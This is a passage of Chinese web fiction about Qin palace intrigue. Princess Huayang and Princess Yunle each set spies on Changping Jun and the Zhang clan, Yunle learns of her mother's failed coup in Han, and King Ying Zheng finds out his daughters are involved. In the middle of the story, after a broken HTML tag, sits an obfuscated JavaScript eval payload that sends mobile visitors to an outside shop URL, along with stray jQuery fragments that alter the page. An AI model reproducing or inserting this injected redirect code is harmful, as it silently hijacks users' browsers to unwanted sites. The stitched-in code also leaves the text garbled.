侍人恭敬地呈上一沓书信:“除开和楚国的联系,并没有什么发现。”
但是昌文君本就有楚国王室血脉,两者有来往并不奇怪。
“但为了以免万一,臣还是将书信记下后誊抄了一份。”
绝对不会引起昌文君的警惕。
“做得很好。”华阳接过侍人一晚上的成果,一边看一边吩咐:“回去后你自去领赏吧。”
“多谢公主!”侍人闻言顿时喜笑颜开。
华阳看完所有内容,陷入了沉思。
昌文君和楚国的往来书信虽然多,但是却没有什么要命的,多是些联络情感的内容。
但是——
数量太多了。
若是联络感情,至于一个月十几封书信吗?
至于昌文君有没有和余下几国联系,目前还找不出什么证据。
可是华阳十分确定,熊嘉装礼物的漆器,绝不是秦楚两国的制造工艺。
难道……还是得查一查那个漆器的来处吗?
不,不对,比起这些,更应该关注的是……
“找几个人,盯住昌平君的府邸。”华阳面色冷凝:“但是别打草惊蛇。”
昌文君固然重要,但是楚系一派的领头人,可是昌平君啊。
“诺。”
她必须要确认,不对劲的只是昌文君,还是楚系一派。
华阳望着万里无云的天,心里却阴得要下雨一般。
希望只是自己想多了。
如若不然,秦国怕是又要掀起一阵血雨腥风了。
“韩国王室并没有什么异动。”
阿锦梳着云乐的头发,给她禀报这几日的探查结果。
云乐把玩着一支簪子,语气漫不经心:“阿锦此言,是想说有异动的不是王室?”
明明是疑问句,却被她说得笃定。
阿锦点了点头,先将云乐一处打结的头发梳顺后才继续说:“是,有异动的是张家。”
阿锦一提到这个,眼里就闪过一丝厌恶。
“张家?”
“张家五世相韩,如今韩国被灭,能搅动风云的也就只有他们了。”
阿锦难得带着点嘲讽地解释:“张开地曾辅佐昭侯、宣惠王、相哀王三朝君主,其子张平接任相位,又接着辅佐了釐王、桓惠王。”
云乐沉默了一下,她总觉得有种奇怪的熟悉感。
“可惜后继无力,族中青黄不接,不然说不定能出个六世相韩呢。”
阿锦绝口不提是谁导致了张家青黄不接,只是一味地吐出张家详细的情报。
云乐:……
“阿锦,你对张家……”
是不是太了解了点?
云□□过铜镜看向开始给自己挽发的阿锦,心中愈发古怪。
怎么感觉阿锦跟张家仇怨颇深啊。
阿锦语塞片刻,直接总结道:“张家势力颇大,树大根深,虽说能查明近期族中有异动,但是具体情形还得多费些时日。”
“无妨,能查到就很好了。”云乐对此倒是看得很开,本就是顺手想查的事情,没有结果也没关系。
比起这个,她更加好奇的是:“阿锦曾说张家族中青黄不接,那如今的家主,阿锦可知是谁?”
“……应当是张平之子,张良。”
电光火石,云乐瞬间想起来了!
张良啊!
那不就是以后刺杀始皇还能逍遥法外,最后更是成了大汉开国功臣的张良嘛!
这下子云乐来劲了。
已知:张良才华横溢,毕生致力于反秦复韩。
再已知:熊嘉送了个韩国的漆器给华阳。
那么,能得出什么呢?
正常人都会将两者联系起来的吧!
“多派些人手。”云乐露出了兴奋的笑容:“盯紧张家!”
这里面肯定有大事发生!
阿锦给云乐插上首饰的手顿了顿,最终还是支支吾吾地告知了云乐:“其实不必多派些人手。”
“?”
“夫人来秦之前,曾在张家埋了好些个钉子。”
云乐在一瞬间怀疑了一下自己的耳朵。
“母妃?”
阿锦尴尬地点了点头。
一直以来,瑶华夫人在云乐面前就是温柔的慈母,私心里,阿锦也并不想破坏瑶华夫人的形象。
但是眼看着云乐的行径与曾经的瑶华公主越来越像,她也做好了将一切告知云乐的准备。
“公主可知瑶华夫人为何赴秦?”
不是因为她的无良老爹想要保住韩国,不惜牺牲女儿幸福,强制把人送来的吗?
云乐满脑子都是公主和亲的抓马剧情。
但是阿锦接下来的一番话,彻底推翻了云乐关于瑶华夫人的所有印象。
“夫人曾经距离韩王之位只有一步之遥。”
云乐:?
“夫人自小聪慧好学,在桓惠王的子女之中,可谓是一骑绝尘,碾压余下一众兄弟姊妹。”
可惜,瑶华公主是个女子。
她再优秀,桓惠王也不会把她当做继承人的。
对此,瑶华公主怎么会甘心呢?
“夫人是一个聪慧又有野心的人。”
时至今日,回忆起曾经灿若骄阳的主君,阿锦还是十分自豪:“她经营封地,豢养门客,安插间谍,同时拉拢权臣、武将。”
可以说,如果只做幕后的掌权之人,瑶华几乎已经做到了。
只等桓惠王身死,她就能扶持幼主登基。
“但是夫人不想止步于此。”
云乐本就心生震撼,听到这句话更是瞪大了眼睛。
“母妃想当韩王?”
阿锦理所当然地点了点头,随即又面露苦涩:“可惜夫人失败了。”
她认清了自己在正常情况下绝无可能成为韩王,选择了兵变。
奈何韩王安背后的势力也不小,更何况还有桓惠王和张家的支持。
瑶华公主终究是棋差一招,以至于最后功亏一篑。
“事后,夫人封地被夺,无奈之下,她选择了赴秦联姻。”
是的,来到秦国是她自己的选择。
“为何?”
“秦国强盛。”阿锦打理着云乐的头发,说着往事:“若是嫁给秦王,成为王后,夫人就能利用残余的势力和……秦王的权利,左右两国关系。”
实在不行,还能借助秦王灭了韩国。
不过这话,阿锦并没有说出口。
她的语气平淡,却听得云乐心潮澎湃。
“所以公主不必担心新郑没有人手。”
夫人的旧部都愿意为了您,鞠躬尽瘁,死而后已。
阿锦露出一个尽在掌握的笑容:“赴秦之前,夫人在王室和张家都埋了很多人。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344236|196263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
害得自己没能达成夙愿的敌人,就算失败了,瑶华也要留点报复的后手。
云乐突然觉得和瑶华夫人一比,自己实在太菜了。
“那就去做吧。”
“盯住张家,特别是张良。”
“诺。”
主君,您看到了吗?
您未竟的霸业,后继有人了。
云乐此时最关心的已经不是反秦势力的事情了。
她对自己的风傲天母亲更加好奇。
“阿锦,我想知道后面的事情。”
这样一个与记忆中截然不同的人,云乐知道其中必定发生了很多的变故,哪怕明知不愉快。
但是她还是想知道。
……
“王上。”
嬴政的心腹恭敬地汇报着这段时日有关昌平君的情报。
嬴政越听面色越冷,到最后直接嗤笑一声。
看来还真的被云乐说中了。
昌平君果然有小动作。
嬴政思索着朝中局势,手指捻了捻奏疏,深吸一口气。
如今楚系一脉在大秦树大根深,要想彻底清除,还是得徐徐图之。
“继续盯着,别打草惊蛇了。”
“诺。”
心腹果断应下,却在嬴政示意他退下时面露犹豫。
“怎么了?”
嬴政抬眼看向心腹。
“……还有两批人也在盯着昌平君府邸。”
嬴政放下毛笔,对此很感兴趣:“两批?”
“一批是华阳公主派去的人。”
华阳?
嬴政挑了挑眉,觉得有些意外:“你确定不是扶苏?”
“确定。”
老实说,心腹在第一次查到的时候也觉得不可置信,又确认了两三遍,才肯定真的是华阳公主,而不是长公子。
“还有一批呢?”
“……应当是云乐公主的人。”
别看他向王上汇报的时候一脸淡然,实际上收到这个消息时他缓了许久,有一种世界观在震颤的感觉。
“应当?”
嬴政对这种不确定的词有点不满意。
“这批人手此前并无动静,只是行事风格与十多年前王上命臣调查的那一批十分一致。”
已知那批人是瑶华夫人的人手,如今瑶华夫人逝世多年,这批人却不在嬴政手中,想必是归了云乐公主了。
嬴政倒不是奇怪云乐手里有瑶华夫人留下的人手,他只是奇怪云乐为何会掺和进此事。
按照她以往的行事风格,在跟自己提了一嘴后,应当就不会再管后续了。
“知道了。”
嬴政决定事后亲自去问问云乐,在此之前——
他吩咐心腹:“别和她们起冲突。”
“诺。”
心腹心领神会,这是看着但不要干扰的意思了。
他也很想知道,云乐和华阳究竟能做到哪一步。
此时此刻,他早已没有了被昌平君等人背叛的愤怒,满心只有看到自己幼崽伸出利爪的欣慰。
嬴政想了想,又接着说:“必要时候帮她们一把。”
“……诺。”
心腹退下后,嬴政接着处理政务,却在提笔之后忍不住想起了那个逝世多年的人。
他拉开暗格,取出瑶华夫人的绝笔,忍不住轻笑一声:“不愧是你的孩子。”